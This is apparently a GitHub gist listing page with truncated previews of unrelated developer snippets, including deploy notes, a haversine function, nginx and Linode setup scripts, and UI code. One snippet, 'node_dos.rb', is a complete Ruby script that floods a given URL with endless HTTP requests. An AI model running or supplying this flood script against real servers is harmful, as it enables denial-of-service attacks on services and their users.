This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # The deploy strategies are: | |
| # checkout (default) - This makes the servers do a git clone to update code | |
| # export - This makes a git export instead of checkout (But what really happens is a checkout | |
| # followed by a deletion of the .git-dirs, use checkout instead) | |
| # remote_cache - This keeps a remote git repo on the servers, when deploying it does a git pull | |
| # and copies the files to the release path. | |
| # copy - This strategy checks out the branch to your local machine, compresses it, and copies | |
| # the code to each server and uncompress it. This is smart when Github is failing. | |
| # But if you live in Belgium and need to upload it to the danish servers, you might | |
| # not want to use it. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class Worker | |
| def hello(work) | |
| work.call | |
| end | |
| def name(n) | |
| "Worker #{n}" | |
| end | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # brew install youtube-dl | |
| function youtube_music | |
| { | |
| $(youtube-dl -f 37/22/18 "$1" --extract-audio --audio-format mp3 | tee /dev/tty) | |
| } | |
| function youtube_video | |
| { | |
| $(youtube-dl -f 37/22/18 "$1" | tee /dev/tty) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| success: true, | |
| data: { | |
| utilUpdate: "", | |
| utilUpdateAppStoreText: "", | |
| utilUpdateForce: "", | |
| alertNoInternetConnectionHeader: "No internet connection", | |
| alertNoInternetConnectionText: "What please get online to use this sweet functionality", | |
| alertValidationNoEmailHeader: "", | |
| alertValidationNoEmailText: "", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| // Haversine | |
| function distancekm($lat1,$lon1,$lat2,$lon2) | |
| { | |
| $R = 6371; // km | |
| $dLat = deg2rad($lat2-$lat1); // to radians | |
| $dLon = deg2rad($lon2-$lon1); | |
| $a = sin($dLat/2) * sin($dLat/2) + | |
| cos(deg2rad($lat1)) * cos(deg2rad($lat2)) * | |
| sin($dLon/2) * sin($dLon/2); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $('.jcrop').on('load', function(){ | |
| image = $(this); | |
| ratio = image.data('ratio').split('x'); | |
| ratio = parseFloat(ratio[0]) / parseFloat(ratio[1]); | |
| x1 = image.data('x1'); | |
| y1 = image.data('y1'); | |
| x2 = image.data('x2'); | |
| y2 = image.data('y2'); | |
| width = image.data('width'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require "socket" | |
| require "uri" | |
| url = URI.parse(ARGV.first || abort("Usage: node_dos.rb <url>")) | |
| sock = TCPSocket.new(url.host, url.port) | |
| loop do | |
| sock.write "GET / HTTP/1.1\r\n\r\n" | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # create /etc/nginx/sites-available/wupwup.dk | |
| upstream unicorn { | |
| server 127.0.0.1:8000; # unicorn is set to listen on port 8000 | |
| } | |
| server { | |
| listen 80; | |
| server_name wupwup.dk; | |
| location / { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # <UDF name="HOSTNAME" Label="server hostname" default="linode"/> | |
| # <udf name="PACKAGES" label="Packages to install" manyOf="Varnish, Nginx, Postgres, Redis, Beanstalk, Memcache" default=""> | |
| ########################################################### | |
| # System Helpers | |
| ########################################################### | |
| function system_update { | |
| apt-get update |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| table width=500 height=100 | |
| tr | |
| - @dates[:range].each do |date| | |
| td width=( (100.0 / @dates[:range].size).to_f.to_s + "%" ) style="background: #000000;" #width | |
| = (date[:traffic] / @dates[:max]).to_i #height |